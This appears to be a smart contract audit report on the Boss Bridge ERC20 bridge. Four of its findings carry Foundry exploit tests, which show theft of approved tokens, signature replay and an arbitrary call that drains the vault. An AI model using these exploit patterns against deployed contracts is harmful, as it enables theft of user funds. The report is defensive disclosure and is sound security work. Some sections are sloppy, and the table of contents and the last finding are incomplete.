BossBridge Audit Report

Version 1.0

Luka Nikolic

February 26, 2024

Boss-Bridge Audit Report

Luka Nikolic

Feb 26, 2024

Prepared by: Luka Nikolic

Lead Security Researcher:

- Luka Nikolic

Table of Contents

  - [H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawal by signature to be replayed
  - [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
  - [H-5] `CREATE` opcode does not work on zksync era
- Medium
  - [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
- Low
  - [L-1] Lack of event emission during withdrawals and sending tokesn to L1
- Informational
  - [I-1] `L1BossBridge::DEPOSIT_LIMIT` should be constant.
  - [I-2] `L1BossBridge::depositTokensToL2` should follows CEI
  - [I-3] `L1Vault::token` should be immutable
  - [I-4] `L1Vauld:approveTo` should check return value of approve

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Disclaimer

The Luka makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings describer in this document correspond the following commit hash:

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.

- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

It went good.

Spent 2 days on auditing this

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	1
Gas	0
Info	4
Total	11

Findings

High

[H-1] In `L1BossBridge::depositTokensToL2` if a user approve the bridge any other user can steal their money

Description: `L1BossBridge::depositTokensToL2` uses arbitrary from in transferFrom: `token.safeTransferFrom(from,address(vault),amount)`. The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

Impact: Anyone can steal users money

Proof of Concept: 1. Alice approves this contract to spend her ERC20 tokens. 2. Bob put his address in for the `Deposit` event 3. Bob calls `safeTransferFrom` from Alice to His address

PoC

Put following code in `L1TokenBridge.t.sol`:

```
    function testCanMoveApprovedTokensOfOtherUsers() public {
        // alice approving
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        // bob the thief
        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        // starting the attack
        vm.startPrank(attacker);
        // we expect new Deposit emit event
        vm.expectEmit(address(tokenBridge));
        // we put attacker address in deposited event
        emit Deposit(user, attacker, depositAmount);
        // we deposit tokens from alice to attacker
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        // checking balances of user(alice), and the vault
        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-2] In `L1BossBridge::depositTokensToL2` if a vault approve the bridge any other user can steal their money

Description: `L1BossBridge::depositTokensToL2` uses arbitrary from in transferFrom: `token.safeTransferFrom(from,address(vault),amount)` . It enables transfer from one vault to another.And it can do it multiple times.

Impact: Anyone can steal vault's money.

Proof of Concept:

PoC

Put this in `L1TokenBridge.t.sol`:

```
    function testCanTransferFromVaultToVault() public {
        // proof that we can transfer from tokenbridge vault to bobs(
           attacker) vault
        address bob = makeAddr("bob");
        uint256 vaultBalance = 500 ether;

        // deal gives tokens to some address(vault in this case) and
           the amount we set
        deal(address(token), address(vault), vaultBalance);

        // Triggering deposit event, self transfer tokens to the vault
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), bob, vaultBalance);
        // then we deposit tokens from bossbridge vault to bobs vault
        tokenBridge.depositTokensToL2(address(vault), bob, vaultBalance
           );

        // can we do that again?
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), bob, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), bob, vaultBalance
           );
    }
```

Recommended Mitigation: As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawal by signature to be replayed

Description: Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Impact: Reused replay signature can drain money from vault

Proof of Concept:

PoC

Put this in `L1TokenBridge.t.sol`:

```solidity
    function testSignatureReplay() public {
        // we create bob the attacker and give him and vault balance
        address bob = makeAddr("bob");
        uint256 vaultInitialBalance = 1000e18;
        uint256 bobInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), bob, bobInitialBalance);

        // bob the attacker deposits tokens to L2
        vm.startPrank(bob);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(bob, bob, bobInitialBalance);

        // first we hash the message correctly
        bytes memory message =
            abi.encode(address(token), 0, abi.encodeCall(IERC20.
                transferFrom, (address(vault), bob, bobInitialBalance)))
                ;
            // then we sign it
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key, MessageHashUtils.
                toEthSignedMessageHash(keccak256(message)));

        // while amount is greater than 0 bob will withdraw vaults
           balance
        while(token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(bob, bobInitialBalance, v,r,
                s);
        }
        assertEq(token.balanceOf(address(bob)), bobInitialBalance +
           vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Impact: Draining all the money from vault

Proof of Concept: It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

PoC

Include following test in `L1TBossBridge.t.sol`:

```solidity
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the
       assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us
        to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate
       bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
            uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
       key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).
        max);
    token.transferFrom(address(vault), attacker, token.balanceOf(
        address(vault)));
}
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zksync era

Description:

```
        assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(
                contractBytecode))
        }
```

Impact: Wrong opcode

Check this link : https://docs.zksync.io/build/developer-reference/differences-with-ethereum.html#create-create2

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

Informational

[I-1] `L1BossBridge::DEPOSIT_LIMIT` should be constant.

Description: State variables that are not updated following deployment should be declared constant to save gas.

Recommended Mitigation: Add the constant attribute to state variables that never change.

[I-2] `L1BossBridge::depositTokensToL2` should follows CEI

Description: `depositTokensToL2` is risking reentrancy attack

```
    function depositTokensToL2(address from, address l2Recipient,
        uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        token.safeTransferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the
            corresponding tokens on L2
->      emit Deposit(from, l2Recipient, amount);
    }
```

Recommended Mitigation:

```
    function depositTokensToL2(address from, address l2Recipient,
        uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+       emit Deposit(from, l2Recipient, amount);
```

```
            token.safeTransferFrom(from, address(vault), amount);

            // Our off-chain service picks up this event and mints the
               corresponding tokens on L2
  -          emit Deposit(from, l2Recipient, amount);
        }
```

[I-3] `L1Vault::token` should be immutable

Description: State variables that are not updated following deployment should be declared immutable to save gas.

Recommended Mitigation: Add the `immutable` attribute to state variables that never change or are set only in the constructor.

```
-     IERC20 public token;
+     IERC20 public immutable token;
```

[I-4] `L1Vauld:approveTo` should check return value of approve